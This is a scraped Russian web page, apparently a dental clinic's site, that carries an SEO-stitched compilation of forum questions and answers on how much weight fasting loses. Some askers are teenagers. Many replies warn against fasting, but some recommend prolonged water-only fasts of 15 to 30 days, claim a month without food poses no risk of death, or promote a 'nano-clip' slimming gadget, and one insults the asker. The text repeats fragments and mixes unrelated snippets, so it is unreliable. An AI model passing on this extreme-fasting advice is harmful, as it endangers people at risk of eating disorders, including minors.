Кафедра челюстно лицевой хирургии и стоматологии СамГМУ

ОАО "Поволжский Специализированный Реабилитационный Стоматологический Центр"
Терапия Ортопедия Пародонтология Хирургия Ортодонтия Имплантология Эстетическая хирургия ЧЛХ
  ?>
О компании
Услуги
Прайс
Наши разработки
Наш коллектив
Бесплатная
   консультация

Сколько дней можно голодать -что бы похудеть ?

На сколько кг можно похудеть за 4 дня голода при росте 170см и весе где-то 60кг

Голод не способствует похудению-наоборот

На сколько можно похудеть если голодать неделю или две?Все таки юношеский максимализм много дает. А сейчас я побаиваюсь. Помню как через месяц после 21дневного голодания у меня начали жутко лезеть волосы.

1-1,5 кг жидкости, но не жира или "мяса"

Не смей!! ! Я так поправилась только!! ! У меня организм решил всё что я съела превратить в жиры на чёрный день, если опять голодать соберусь!!!!

Ооооой! 4 дня! Восхищаюсь. Я сегодня на час с обедом опоздала, думала не переживу, а вы 4 дня голодать!
Без шуток восхищаюсь вашей выдержке! Жаль что кроме подорванного обмена веществ ваша жертва вам ничего не даст

В обморок на 4 день упадете и все.

Справиться со слабостью во время голодания можно, если растворить в стакане теплой воды 1 чайную ложку меда и 3 капли лимонного сока.Сколько необходимо времени чтобы похудеть после родов? Первые 3 месяца лишние килограммы не должны уходить, так как организму...

Открою тебе секрет, в эти 4 дня с весом ничего не сделается, а потом как поешь, может прибавится

Если голодать и не заниматься спортом можно похудеть за месяц и на сколько?

На много! но потом, начав нормально питаться, можете стремительно набрать вес и весить больше, чем до голодовки!

Итак, как это ни покажется странным, можно похудеть на 30 кг за 6 недель. Но такое быстрое похудение крайне вредно по причине катастрофического голодания мозга, лишенного организмом глюкозы.Что есть и сколько есть. Похудеть на 30 кг за месяц-полтора.

Килограмм десять можно сбросить, потом набрать пятнадцать.

Не надо голодать. Нужно просто меньше кушать. Ну я не думаю, что Вы очень сильно похудеет, но результат будет

Если голодать и не заниматься, то похудеешь на 5-7 кг
а если нормально питаться и заниматься спортом, то похудеешь на 6-8 кг
Выбирай

Не слушай никого. Можно на 10 кг похудеть, а потом если будешь соблюдать здоровое питание, то будешь красоткой. Удачи. Главное пей больше воды и кофе)

Если голодать можно заработать язву желудка и прямиком в больницу.
моя подруга (она сама по себе высокая и стройная) голодала.
и чтобы похудеть, и потому что еда в кафе универа не нравилась, и потому что лень было приносить с собой.
ну что ж, спустя 2 недели после того как она перестала с нами днем питаться, укатила она в больницу. да не с простой язвой, а с чем-то пострашнее (еще что-то с кишечником) .
так что голодать нельзя!
нужно правильно питаться! понемногу и часто. и забыть о газировке, чипсах, резиновом мармеладе и тортиках.

Схемы голодания, на сколько можно похудеть?На месяц нужно разработать голодные и пищевые дни и следовать этой системе.Но, на вооружение, необходимо взять идею периодичности.

Ешь так: завтрак - фрукт ( или каша на воде без масла) , обед вареная куриная грудка или рыба с салатом без масла, майонеза, сметаны (любые овощи кроме морковки, свеклы, картошки) , ужин - стакан кефира и/или чай кофе с молоком. Это все. через месяц сколько нибудь обязательно сбросишь

А ещё можно сдохнуть!

Начнут мышца гореть, это значит все фигура потеряна.

Итак как похудеть, что же для этого требуется? Во-первых, необходимо значительно снизить калорийность рациона. По возможности максимально ограничьте употребление в пищу жирных блюд. Помните, что один грамм жира при расщеплении в клетках нашего организма даёт вдвое больше калорий, чем один грамм углеводов или белков. Чем меньше жирных блюд в вашем рационе, тем больше шансов у вас похудеть в домашних условиях всего за одну неделю. Ограничьтесь небольшим кусочком сливочного масла для бутербродов или приготовления каши и одной-двумя ложками растительного масла для овощного салатика (полностью исключать жиры из рациона тоже не следует, так это может привести к нарушениям обменных процессов и ухудшению здоровья) . Во-вторых, категорически откажитесь от всевозможных сладостей и кондитерских изделий. У таких продуктов также довольно высокая калорийность, при этом в их составе очень много сахара. Этот углевод очень хорошо усваивается в организме и при избыточном поступлении способствует быстрому формированию избыточной массы тела, поэтому при желании похудеть за неделю лучше вовсе исключить сладкие изделия из рациона. Вполне достаточно одной-двух маленьких ложечек сахара, содержащихся в чашке чая или кофе. Если же вы любите частенько попить чая в домашних условиях или на рабочем месте – лучше наслаждайтесь этим напитком без сахара. В-третьих, старайтесь поужинать не позднее шести-семи часов вечера. В таком случае калории, поступившие с пищей в организм, успеют полностью израсходоваться и не будут откладываться в виде избыточного количества жировой ткани. Если же в домашних условиях перед сном вам невыносимо захочется покушать, то помните, что поздний ужин очень способствует увеличению веса вашего тела и появлению «лишних» килограммов. Если вы действительно желаете похудеть за неделю хотя бы на пару килограммов, то ограничьтесь употреблением на ночь стакана обезжиренного кефира – он не позволит остаться вашему желудку пустым, устранит чувство голода, обеспечит ваш организм белком и одновременно не принесет большого количества калории

Во первых месяц (30 суток) с первого раза голодать не надо никому (кроме крайних случаев) тебе достаточно для первого раза 15 суток поголодать на воде-скинешь 12-16 кг. если этого для нормализации веса недостаточно то выход из голода 15 суток на соках и овощах а потом ещё 15 суток голода на воде и результат будет существенный. в среднем при голодании на воде потеря веса 300-700 грамм в сутки чистого жира. почитай сайты посвящённые голоданию.

На сколько можно похудеть за месяц? Добавить статью. Ваше имяТолько не переусердствуйте. Как говорится в народе, все хорошо, что в меру. Можно ли похудеть с помощью голодания?

На сколько можно похудеть за неделю на голоде? 152см / 51кг

А сколько тебе лет?

Чтобы преуспеть в таком деле как, на сколько можно похудеть, если не есть после 6 за месяц, судя по отзывам, нужно отказаться от жирного и тяжелого ужина. Последний прием пищи должен быть не позднее, чем за 4 часа до отхода ко сну. Насколько велика потеря веса.

На голоде за неделю можно в ящик сыграть.

Если по нормальному, но на 1-2 кг. и то может меньше.

Голодать-не лучший вариант. Ешь часто, но в малых колличествах, примерно через каждые 3 часа - не меньше, пей много воды. А при голодании обмен веществ снизится и ты сделаешь себе только хуже. И в конце концов спортом занимайся!

Правильным питанием и умеренными физическими нагрузками Вы добьётесь большего, а голодом только здоровье испортите.

Кг на 8-10

Интересно- кто и сколько в приницпе смог сбросить максимально за месяц?15 за месяц, было голодание на воде.P.S.в нашем топе нет конкретной даты у нас те, кому нужно похудеть от 5 кг и меньше.

Потом после такой диеты больше наберешь, как моя подруга

Больше 1 суток не выдержишь, даже не мечтай.

На сколько можно похудеть за три дня голодания на воде? ))) только не говорите о вреде!!!!

До 1 кг.

На сколько можно похудеть за месяц, не нанося при этом вред здоровью?Безопасное похудение основывается не нам простом сжигании массы за счет голодания или изнурительный физических нагрузок.

А толку, через неделю еще больше наберешь

На 1 килограмм точно, но потом, когда начнёшь есть, быстро их же и наберёшь, так что надо худеть по диетам, например очень хорошая диета на гречке.

1.5-2 кг как минимум, но наберешь также

Вы сначала попробуйте хоть один день на воде без еды, это не так просто как кажется.

Диета гейши: утром зеленый чай горячий 250 г с молоком 250г, обед порция риса плюс 250 молока, вечер 125 зел. чай плюс 125 молоко. три дня минус 5, если выдержишь, молоко однопроцентное. сочетание с зеленым чаем отбивает аппетит. вечером захочешь подхомячить съешь яблоко, но чистый эксперимент это исключает. 3 дня выдержать можно.

Я думаю, что похудеть можно за месяц на 5 килограмм. За последний месяц я настолько и похудела.Был личный опыт похудения за месяц на 10кг полное голодание и думаю, это не предел.

1-1,5 кг, не больше.

На сколько можно похудеть за пять месяцев?

Много можешь скинуть, но голодать нельзя.

Adminq спросил в Разное. На сколько можно похудеть если не есть неделю?как это нереально..полюбому реально!!!если ты даже протсо без голоданий будешь кушать фрукты и овощи ты за месяц уж точно скинешь лишнее ..

На сколько можно похудеть,если голодать месяц? P.S Не надо натаций о том,что это вредно.Просто ответьте

Зависит от начального веса. При лечебном голодании под наблюдением врача люди худеют на 10-20 кг, но это не месяц, а там 20 с чем-то дней.

А что говорит народная мудрость? Правильно, человеку столько лет, на сколько он себя ощущает !После голодания можно баловать себя любимыми блюдами и сладостями, но маленькими порциями и набора веса не последует.

Не сможешь.

Я тоже хочу начать голодание... есть лишние килограммы, но боюсь не выдержу.. Моя подруга за месяц скинула около 10кг. лишнего жира. но теперь большие проблемы с желудком ((она реально ничего не ела иногда в голодные обмороки падала ((

За 14 дней я потерял 12 кг. Вот и считай. В начале голодания теряешь по килограмму в сутки, потом по полкило уже, дальше уже по 300гр, т. к. организм бережет себя....

Бред
вы не выдержите

Мой дядя голодал ровно 40 дней, похудел на 26 кг, так что за месяц голодания уйдет 20 кг +/-

21 день голодание на сколько можно похудеть. картофельное пюре диета похудеть быстр и с удовольствием 25 кадр скачать бесплатно похудеть.Полезно ли голодание?И на сколько кг можно похудеть голодая 5 дней?

Все заисит от организма. Кто-то "сдуется", а кто-то от стакана воды прибавит

Первыми сдуются мышцы, обезводится организм, повысится риск тромбообразования.
если для жизнедеятельности нужно 2500 ккал в день (смотря, какой вес), а чтобы сжечь 100 граммов жира нужно затратить примерно 700 ккал, то за день сгорит примерно 350 гр жира.
а сверхтучные люди весом в 200 кг после операции шунтирования желудка могут терять по 1 кг в день, не затрачивая никаких усилий

Если голодать месяц то на сколько можно похудеть?

Вы умрете через 3 для без еды.... Х (

Как быстро похудеть за неделю? Как правильно худеть упражнения, диеты.Давно доказано, что человек способен прожить без пищи примерно один месяц, поэтому не стоит переживать смерть от голода вам не грозит.Сколько пить воды во время голодания.

Голодать не вариант, все посадишь к чертям.

На месяц а потом будешь это быстро наращивать

Голодай-голодай.... посадишь себе всю обменку нафиг.... а потом ещё больше наберёшь)))))))

Урежь свой рацион сука жирная

Диеты все индивидуальные и 95% их не выдерживают. В итоге набирают еще больше.
Даю простые, но эффективные рекомендации:
•пить минимум 1 стакан не кипяченной воды за 30 минут до еды
•ходить не мене 10000 шагов в день со скоростью 5-6 км в час
•перейти на дробное питание 5-6 раз в день
•ограничить потребление ненасыщенных жиров до 40 г в день
•исключить трансжиры (Жиры бывают трех видов - насыщенные (полезные) например рыба некоторых сортов ненасыщенные колбаса сыр и трансжиры (очень плохие) например маргарин
•с удовольствием потреблять продукты с насыщенными жирами так как они содержать очень полезные вещи например жирные кислоты омега -3)
•есть ржаные или пшеничные отруби
•Алкоголь ограничить и лучше всего пить немного красного вина
•Кока пепси и другие сладкие напитки убрать из рациона подальше и не приближаться к ним ближе чем на 25 км
•Сладкое мучное сдобное . Это простые углеводы они очень быстро превращаются в жир. Надо ограничить, но совсем убирать из рациона не следует. Иногда надо себя побаловать
Попробуйте инновационное средство для похудения -клипса с нанопокрытием, которая сочетает идеи иглоукалывания и нанотехнологий. . Она действует на точку голода на козелке и помогает с ним справиться. Кроме того нормализует обмен веществ, работу эндокринной системы и другое.
Еще много полезного для похудения смотрите на блоге Похудение21век

На 30-40 процентов. Если первый раз обратитесь на сайт лечебное голодание, там вам все расскажут, не занимайтесь этим сами.

Да действительно бывает, когда нужно срочно похудеть. Но представь себе твой организма нормально кушал 1-2 года, а потом бац и не получает еды даже (допустим) 1 неделю, если потом дать ему кушать, то любую еду организм будет окладывать в жир. Нельзя будет овощи, фрукты нормальо съесть, потому что организм будет всё запасать. А голодать всю жизнь нереально. Я на себе это испробывала, да теряешь 5-6 кг радуешься, но реально потом всё возвращается и с добавкой 3-4 кг. Зачем это нужно? 12 лет - это возраст, когда нормально весить чуть-чуть больше, да это пройдёт если сейчас за это взятся. Нужо выбрать диету (не бери короткие, они неэффективны, возьми на 3-4 месяца) , те кг, которые ты сбросишь, сидя на продолжительной диете не вернутся точно. Уж лучше в 12 лет потерпеть и в 15 с фигурой не маятся)) ) Делай физ. упражнения каждый день (на плоский животик, на косые мыщцы живота) . Всё начнёт уходить через недельки 2 и черези 3 месяца ты войдёшь в норму. И не смотри ты, что нудно весить 44(это для анаксичек) , всё же от кости зависит у кого тяжелые, а у кого-то лёгкие. 56 кг это нормально. Сядишь, 3 месяца продержишься и летом будешь в форме 100%, а худеть начнёшь уже через 1 месяц. Удачи тебе и не мучай ты себя, вся жизнь впереди....

Сколько дней можно голодать, что бы похудеть?

Спортом занимайся

Общее состояние улучшается, организм очищается. На сколько килограмм можно похудеть голоданием?Не так опасны для организма однодневные голодания раз в месяц. Продолжительность воздержания от еды составляет 1 1,5 суток.

Правильно сверху сказали. А ещё не стоит голодать, реально. Когда кушаешь нерегулярно, мало, редко - организм "в режиме экономии", откладывает жир. Как только начнёшь кушать понемногу, но часто - организм почует, что опасность голодовки миновала, и перестанет откладывать жир. А ещё не советуется носить джинсы в обтяжку - они тоже провоцирут "маффины".

Голодание как способ похудеть. Сколько можно сбросить? + и - ?

Если хочешь попортить здоровье, то пожалуйста
Позже эти кг вернутся
Лучше правильное питание+спорт
И питаться не менее 5 раз в день но по маленьку

На сколько можно похудеть если голодать? Итак, на что можно рассчитывать после семидневного влажного голодания?я в течение 3,5 месяцев употребляла по 800 ккал в день и ничего, все норм вес сбросила хорошо и обратно он не... читать дальше .

Голодание-не выход. Лучше просто много ходить пешком и на велосипеде ездить. Проверено на опыте. Когда голодаешь, либо анорексия, либо будет целыми днями тошнить. Единственный выход-спорт.

Наоборот разжиреешь. Если питание кончается, организм это расценивает как плохие жизненные условия. И включает программу тотальной экономии энергии (жира) . То есть стоит 1 день поголодать, и потом фиг че сбросишь, организм будет все это с усердием откладывать в закрома и долго будет помнить что еда может кончиться неожиданно и что надо обязательно делать запасы. Надеюсь смысл понятен. Изучайте как работает ваше тело и не делайте глупых ошибок.

Только вред здоровью. Скинешь 2, потом сразу наберешь 4.

Голодание не выход, попробуй по утрам делать зарядку, ходить на пробежку, заниматся в спортивном зале и по утрам выпивать стакан воды, и не есть после 18:00))))

Голодание организм воспринимает как стресс, поэтому лишний вес будет только накапливаться (про запас) , а не сбрасываться.. . лучше пересмотрите питание + спортивные тренировки ...подробно о голодании можно прочитать здесь dietinform.ru

Минусы коротких голоданий для похудения Похудение занимает длительное время - от нескольких недель, до нескольких месяцев в зависимости от количества лишних кг .Во время длительного голодания можно похудеть сразу намного.

Я голодала! и что? не к чему хорошему не привело, только растолстела. сейчас ем раз 5 в день) белок (грудка куриная, говядина, телятина рыба, яйца, овощи, отруби +2л воды в день) за 2 месяца -14кг! ну и конечно же спорт) ) кручу педали) ) по 40 мин. в день. если интересно посмотри диета дюкана

Я 6 лет назад сидела на низкокалорийной диете - 500ккал в сутки. Результат был. Но вред здоровью нанесен колоссальный, до сих пор проявляется. А голодание это, мне кажется, самостоятельное подписание приговора себе. Говорят же, что организм голодание наоборот воспринимает как сигнал делать запасы, и результат обратный. Почитайте раздел про диеты тут http://www.medmoon.ru/dieta/ . Может найдете полезную инфу для принятия решения за или против голодовки.

Приговор

Ира, делай вот такую гимнастику через день и радуйся жизни: Предлагаемая гимнастика — без прыжков и степа, т. е. в «партере» , сначала покажется Вам очень сложной и трудной. Но постарайтесь делать хотя бы то, что получается, в том темпе, в котором можете поддерживать, и том объеме, который сможете осилить. Движения просты. У Вас получится! Затем, через месяц — два - три, Вы сможете поддерживать и темп и осилите объем гимнастики!
Не сразу! Терпите!
Затем Вы поймете, что без этой гимнастики жизнь становится пресной, т. к. выполнив ее — получите ни с чем несравнимое удовольствие!
Начинайте!.. .
Впереди всего лишь несколько месяцев терпения!?.. и вся жизнь!

За 2 месяца на сколько можно похудеть? не собираюсь себя сильно мучить и голодать

Правильное дробное питание и фитнес
все зависит от вас

Начнем с того, за сколько можно похудеть на 10 кг что делать, если нужно сбросить вес быстро и эффективно.Конечно, можно пойти самым радикальным путем и провести курс голодания под наблюдением врача.

С таким подходом похудеть не получится.

Я за месяц 4 кг скинул и не голодал, просто не жрал булки, сладкое и мясо сократил. больше овощей

Питание должно быть сбалансировано.

Я когда начинала тоже сильно не мучилась. Рассчитала норму калорий с учетом медленного похудения, всего 3 раза в неделю фитнес. Минус 5 кг получилось

Быть худым - это образ жизни! Если нет, то никакие диеты вам не помогут!

Всем привет,мой рост 170,вес 65,хочу похудеть до 55,сколько голодать?И да кстати,можете сказать пожалуйста,можно при голодании пить кофе и чай для похудения?Или лучше не стоит?

На сколько можно похудеть если голодать 1неделю/1месяц/2 месяца при изначальном весе 90 кг

Потолстеть так только можно! с голода! к диете особый подход нужен! иначе просто убьешь организм! или сбросишь резко и наберешь еще больше!

Долгосрочное голодание предполагает отказ от пищи на срок от десяти дней до месяца. Так долго голодать можно только в специализированных учреждениях под неукоснительным присмотром врачей.На сколько килограмм можно похудеть при голодании.

Если голодать, то через 2 месяца вынесут.... нужно изменить питание и спорт.... я еще в баню похаживаю, свекр специально для меня натапливает посильнее

ВЫ очень поххудеете но как только вы возьмете кусок еды вы потолстеете еще больше чем были!!! ешьте много но по немного и не ешьте мясо и молоко и яйца месяц. увидите эффект сразу же

Голодание сухое. скажите на сколько можно похудеть за 20 дней сухого голодания?

Ну вероятно до состояния мумии.. .
С чего вы вообще взяли что можно по 20 дней на сухо голодать? Так никто не делает и вообще такой тип голодания считается вредным. Даже обычное водное голодание проводить опасно без наблюдения врача, а вы думаете 20 дней прожить без еды и воды, вы просто умрете, хотя более вероятно что сорветесь через пару дней.

На сколько можно похудеть если голодать неделю или две?Все таки юношеский максимализм много дает. А сейчас я побаиваюсь. Помню как через месяц после 21дневного голодания у меня начали жутко лезеть волосы.

Намного, но вам это уже не нужно будет. Человек без воды трех дней не проживет.

Такой тип голодания возможен только после предварительного обследования и долгих тренировок, начиная с минимума дней. А так вы просто не выдержите. Это ж муки адские.
Хотя вы шутите наверняка ).

С таким подходом, как ради похудкния- на это идти не стоит, только навредите себе

Чтобы худеть,
нужно есть,
это знает каждый школьник.

Без еды, на воде =я выдерживала 10 дней (минус 10 кг, и минус 10 см все обьёмы тела) НО после менструация длилась полтора месяца пока медикоментозно не остановили!! Поэтому голодать не стоит!! Голодать хорошо, в целях излечится от какой-либо болезни=известно что голод лечит=вот тогда того стоит!

Справиться со слабостью во время голодания можно, если растворить в стакане теплой воды 1 чайную ложку меда и 3 капли лимонного сока.Сколько необходимо времени чтобы похудеть после родов? Первые 3 месяца лишние килограммы не должны уходить, так как организму...

Не издевайтесь вы над собой! зачем вам себя так мучить? ! если реально хотите похудеть, чтобы вес потом не вернулся и вы никаких болячек себе не нацепляли, обратитесь к специалистам. в гамбургский центр, например ;)

Можно похудеть голоданием ( пить только воду)?? За три дня как вы думаете можно сколько сбросить?

…Диета. Вначале 3 дня ешь одни овощные салаты, потом 4 дня сидишь исключительно на кефире, затем 5 дней пьешь один травяной чай, потом 7 дней ничего не ешь, пьешь воду.. . Потом девять дней.. . Потом сорок дней...…

Итак, как это ни покажется странным, можно похудеть на 30 кг за 6 недель. Но такое быстрое похудение крайне вредно по причине катастрофического голодания мозга, лишенного организмом глюкозы.Что есть и сколько есть. Похудеть на 30 кг за месяц-полтора.

На я за 7 дней на 9 кг похудел.

Нельзя так, во первых вредно, во вторых моментально наберете потом ваши килограммы

При такой диете за три дня остатки мозгов точно сбросишь. Разгрузочный день максимум - раз в неделю.

Голодание ни к чему хорошему не приведет! безуглеводная диета вам в помощь, по-крайней мере более щадящий способ убрать лишние килограммы, но за три дня, естественно, супер эффекта не будет

Не нужно, станешь злой и раздражительной без пищи. И конечно быстро наберешься обратно. Попробуй исключить углеводные продукты, хотя бы на месяц, почувствуешь разницу

Схемы голодания, на сколько можно похудеть?На месяц нужно разработать голодные и пищевые дни и следовать этой системе.Но, на вооружение, необходимо взять идею периодичности.

Во-первых, это очень вредно (очевидно, по-моему) , а во-вторых худеют от сбалансированного питания и физических нагрузок, а не голодовки. А многие из-за полного отказа от пищи наоборот набирают вес.

3 дня - 3 кг.
выходить из голода на соках, потом на фруктах и салатах - не меньше, чем столько же времени, сколько был голод.

На самом деле максимум 2 кг, которые вы сразу же наберете, как только начнете есть.

За 3 дня на воде можно похудеть на 3 кг. Но когда начнёшь есть, то снова наберёшь вес - это во-первых. А во-вторых, на голодание нельзя садиться без предварительной подготовки (очистки) организма.

На сколько можно похудеть при весе 70 на 21 дневном голодании?

На 21-дневном голодании можно откинуть копыта.)))

На сколько можно похудеть за месяц? Добавить статью. Ваше имяТолько не переусердствуйте. Как говорится в народе, все хорошо, что в меру. Можно ли похудеть с помощью голодания?

Вы не похудеете, вы просто опухнете.

Потом поправитесь еще сильнее из-за замедленного метаболизма

Лучше не надо, организм может голодать не больше суток=
)

Без медицинского наблюдения то только принесёт вред

А возможно ли за 3 недели скинуть 12 кг? Со спортом разумеется

Чтобы преуспеть в таком деле как, на сколько можно похудеть, если не есть после 6 за месяц, судя по отзывам, нужно отказаться от жирного и тяжелого ужина. Последний прием пищи должен быть не позднее, чем за 4 часа до отхода ко сну. Насколько велика потеря веса.

Не стоит увлекаться новомодными диетами. Таблетки для похудения, может, и притупляют на время аппетит, однако организм быстро к ним привыкает. В результате либо возвращается аппетит, либо замедляется обмен веществ и ты снова набираешь вес, либо возникают какие-то побочные эффекты — головокружение, высокое давление, тревожные расстройства и даже медикаментозная зависимость. То же самое можно сказать и о мочегонных средствах, и о препаратах, ускоряющих обмен веществ.
Сбалансированное питание и умеренная, но регулярная физическая нагрузка, напротив, помогут тебе чувствовать себя и выглядеть как можно лучше. В меру занимаясь фитнесом несколько раз в неделю, ты обязательно почувствуешь результаты. Порой достаточно даже быстрой ходьбы или подъема по ступеням.

Не надо! я диетами и голоданием весь организм испортила, востанавливалась очень долго, да и сиськи с кожей обвиснут, грудь меньше станет. лучше пп, и грудь не так быстро уйдет, и питаться можно оч вкусно и главное худеешь хорошо))

Востановление потом займёт времени больше. и вес вернётся с ещё большей категорией. нужно по чуть чуть худеть..!

При 21дневном голодании Вы посадите себе желудок и начнете в обморок падать, начнут выпадать волосы, ломаться ногти, кожа станет дряблой и т. д. Так что займитесь спортом и просто не ешьте много сладкого, булок, чипсов и прочее. Эффективное похудание не происходит за несколько дней, недель...

Чтобы худеть, нужно есть.
Это всем двоечникам уже объяснили.

Интересно- кто и сколько в приницпе смог сбросить максимально за месяц?15 за месяц, было голодание на воде.P.S.в нашем топе нет конкретной даты у нас те, кому нужно похудеть от 5 кг и меньше.

Если ты совсем не будешь есть, твой организм оболдеет!!!! значит все это время ты ела постоянно, а тут резко голодание! организм встанет "в позу" и жиры наоборот начнет накапливать! так что голоданием ничего хорошего ты не добьешься, питайся правильно, побольше физ. нагрузок и вес начнет уходить!)) удачи тебе в похудении)) )

Ты растолстеешь, когда начнешь нормально питаться, прибавишь еще 10 кг

Перед тем, как просто не есть 21 день необходимо очистить свой организм от токсинов. Постепенно выходить из обычно режима питания, очищать кишечник. Во время голодания нельзя будет ничего, кроме воды. Даже чай без сахара нельзя. Это будет действовать не как лечебное голодание, а как истощение организма. После голода нужно правильно выйти. Что занимает весьма длительный процесс. В ином случае вы наберете ровно в 2 раза больше. Но зачем вам это надо? Если вы 70 кг, вы жирная личинка и голод вам не поможет, потому что уже на второй день сорветесь. Нужно меньше жрать и спортом заниматься, а не резко худеть перед каким-то важным моментом в жизни, что наверняка так, иначе зачем такие жертвы?
И ответ на вопрос, кг на 8

На сколько можно похудеть за месяц голода?

Не знаю. Голодать можно только один день и то с перерывом в 2-3 недели.
Похудеть можно начав заниматься спортом (бег, к примеру) и меньше употреблять пищи.

На сколько можно похудеть за месяц, не нанося при этом вред здоровью?Безопасное похудение основывается не нам простом сжигании массы за счет голодания или изнурительный физических нагрузок.

Смотря какой исходный вес.

За месяц умереть можна...

До анорексии, а затем смерть.

Нулевая диета самая опасная для здоровья, поскольку приводит к смертельному исходу. О том, как трудно вывести организм из голодовки и вновь «заставить» его принимать пищу, распрекрасно знают врачи. Как и о том, что не все организмы удается привести в норму, а человеку сохранить жизнь. до смерти короче.

Похудеть, конечно получится, но в добавок вы получите нервное заболевание-анорексию, которая не лечится правтически совсем

Я думаю, что похудеть можно за месяц на 5 килограмм. За последний месяц я настолько и похудела.Был личный опыт похудения за месяц на 10кг полное голодание и думаю, это не предел.

Женщины как правило опухают на 5 день.

Так худеть нельзя, это очень опасно для жизни - я худела так: ела малокаллорийные продукты питания до 15 часо дня, а затем голодовка до 06 утра след. дня. Сбросила за месяц около 6 кг

Больная?? я 4дня сидела ...то на человека не была похожа.. самочувствие хреновое... мешки под глазами... голова кружится. но если решила то сбросишь кг 10 эт точно... по начала особо не будешь терять жир.. а потом когда организм начнет питаться твоим жиром и всем что есть в организме вот тогда начнется)))) криз наступит... люди и в обморок падают... а потом говорят настроение супер..

До дистрофии и необратимых проблем в организме.

Похудеть на 10 кг,за сколько можно??И диета.какая?!

Кушать фруткты овощи, делать зарядку

Adminq спросил в Разное. На сколько можно похудеть если не есть неделю?как это нереально..полюбому реально!!!если ты даже протсо без голоданий будешь кушать фрукты и овощи ты за месяц уж точно скинешь лишнее ..

Я за 3 месяца так похудел. Диета - голодная.

Будешь худеть ногти рости не будут.Займись спортом.

За 2 месяца

На сколько можно похудеть если чередовать день голод, день еда, в те дни когда еда, кушать, каши, овощи или фрукты?)

Вот она, типичная ошибка человека, пытающегося экстремально похудеть.. .
Дам совет от души, хочешь похудеть - набери в гугле #SEKTA Оли Маркес
Вот там люди реально худеют, при этом едят постоянно и нормальную еду. Особенно в их группе вконтакте фото "до" и "после" впечатляют.
После этого тебе больше вообще никогда не потребуется сидеть на диетах.

А что говорит народная мудрость? Правильно, человеку столько лет, на сколько он себя ощущает !После голодания можно баловать себя любимыми блюдами и сладостями, но маленькими порциями и набора веса не последует.

Похудеть то можно прилично, проблема в том что вес вернется сторицей как начнете питаться ежедневно) )
правильное сбалансированное питание до 5-6 вечера плюс спорт.

Вы наберете вес, так как это не диета вовсе, а неправильное питание. Организм после голодовки начнет с утроенной силой запасать жир на случай повторения такого издевательства над ним. Кроме того, при голодовке вы можете испортить себе желудок и упасть в обморок при снижении уровня сахара в крови, что очень плохо для головного мозга.
К тому же вам нужно питаться небольшими порциями раз 5 в день, последний прием пищи за два часа до сна, а не в 6 вечера! И нужно отрегулировать свое питания, чтобы не сидеть всю жизнь на строгой диете, а постоянно правильно питаться.

Похудеть можно, но врятли за счет жировых отложений (((((

На сколько кг можно похудеть если голодать 2 недели? (рост-164, вес-56)

Можно всё сбросить. и жизнь тоже..

21 день голодание на сколько можно похудеть. картофельное пюре диета похудеть быстр и с удовольствием 25 кадр скачать бесплатно похудеть.Полезно ли голодание?И на сколько кг можно похудеть голодая 5 дней?

У меня рост 166, вес 44. 3 года назад набрала 10 кг. методом голодовки скинула 7 кг. за 1 неделю. Правда потом пару дней желудок не воспринимал пищу, но потом все стабилизировалось, и не вернулся ко мне сброшенный вес по сей день. Но у каждого свой организм.

Если вы будите голодать то конечно похудете но когда вернётесь к нормальному питанию будет сильный скачок веса и выможете потолстеть сильней чем вы сейчас. Совет: ешьте также но уменьшите порциии!

Не нужно голодать

Голодание приведет вас к голодным обморакам и к тому что вы будете пухнуть от голода.

На 10 кг точно похудеете.

Как быстро похудеть за неделю? Как правильно худеть упражнения, диеты.Давно доказано, что человек способен прожить без пищи примерно один месяц, поэтому не стоит переживать смерть от голода вам не грозит.Сколько пить воды во время голодания.

На сколько можно похудеть если голодать неделю.50 кило мне 15 лет. 50 кило мне 15 лет

За сколько дней голода можно похудеть на 18-21 кг?

За 10 дней.

На 30-40 процентов. Если первый раз обратитесь на сайт лечебное голодание, там вам все расскажут, не занимайтесь этим сами.

Пока будешь читать дни уже сдохнешь

Примерно за 90-100 дней

За 30 дней голода и помереть можно

Съедая в день 1000 калорий, питаясь часто, но маленькими порциями моя приятельница за месяц сбросила 26 кг ))))) И голодать не нужно.

Не советую худеть голодовкой. И здоровье подорвете и, самое печальное, наберете обратно свои кг за 3-4 дня. Обидно будет до жути! А иногда ещё и прибавляют вес после голодовки.
Если Вы ДЕЙСТВИТЕЛЬНО РЕШИЛИ худеть а не так -ой, хочу завтра быть стойняшкой, а послезавтра есть шоколадки, то нужно менять способ жизни, рацион питания и т. д. и т. д. Стройность-это стиль жизни, а не результат диеты.
Вот моему мужу надоело быть полным, и он 6 лет назад, похудел на 38 кг за 6 месяцев. Потом ещё "по инерции"где-то худелось само около года. Потом вес стабилизировался на оптимальном именно для него и ..всё!!!Уже 7 год-он больше не набирает:))

Общее состояние улучшается, организм очищается. На сколько килограмм можно похудеть голоданием?Не так опасны для организма однодневные голодания раз в месяц. Продолжительность воздержания от еды составляет 1 1,5 суток.

За 2 месяца можно, если без фанатизма

Утро:
Перед принятием пищи за 30 минут надо выпить стакан натурального лимонада. Для этого выдавливается сок из одной дольки лимона, добавляется вода до объёма в один стакан и выпивается. Разумеется, что сахар вам противопоказан.
Потом можно скушать салатик из фруктов. Из перечисленных ниже фруктов надо выбрать только три вида - груша, мандарин, яблоко, апельсин. Нарезать фрукты кубиками и залить одно процентным (имеется ввиду жирность) йогуртом.
Обед:
На обед разрешается овощной салат. Овощи можно выбирать любые, кроме картошки и не съедать больше одной тарелки. Салат надо делать без соли с соком лимона или оливковым маслом.
На протяжении всего дня можете пить одно процентный кефир, но не больше одного литра.
Вечер:
Фруктовый салат с чаем.
Лучше пить зелёный чай. Он более полезный. Чтобы после такого строго режима питания не набрать излишний вес, рекомендую переходить на нормальное питание постепенно. Для этого на вторую неделю кушайте всё точно, как и при первой, но добавьте сто грамм на обед постного мяса. Соль лучше вообще забыть навсегда, как и сахар.
Потом приучите себя кушать немного и часто, но не более шести раз в сутки и нежирную и не жаренную еду.
Берегите свой организм от обезвоживания. Пейте много воды. Лучше с лимоном.
Не надо прыгать на весы каждые пять минут. От этого могут "сдать нервы" и тогда реакция будет самая неожиданная от анорексии до обжорства.
Обязательно следует принимать дополнительно кальций и комплекс витаминов.
Возьмите себе за правило - ни при каких условиях не кушать позже шести вечера (!)
И самое главное при похудении на 7 кг за неделю.
Все диеты - это по сути стресс для организма. Поэтому никогда не худейте в одиночку или по советам друзей. Посетите и проконсультируйтесь у врача. Каждая диета имеет свои противопоказания и это может знать тол

На сколько можно похудеть голодая неделю ?

Все зависит от конституции. 5 и больше кг вполне возможно.

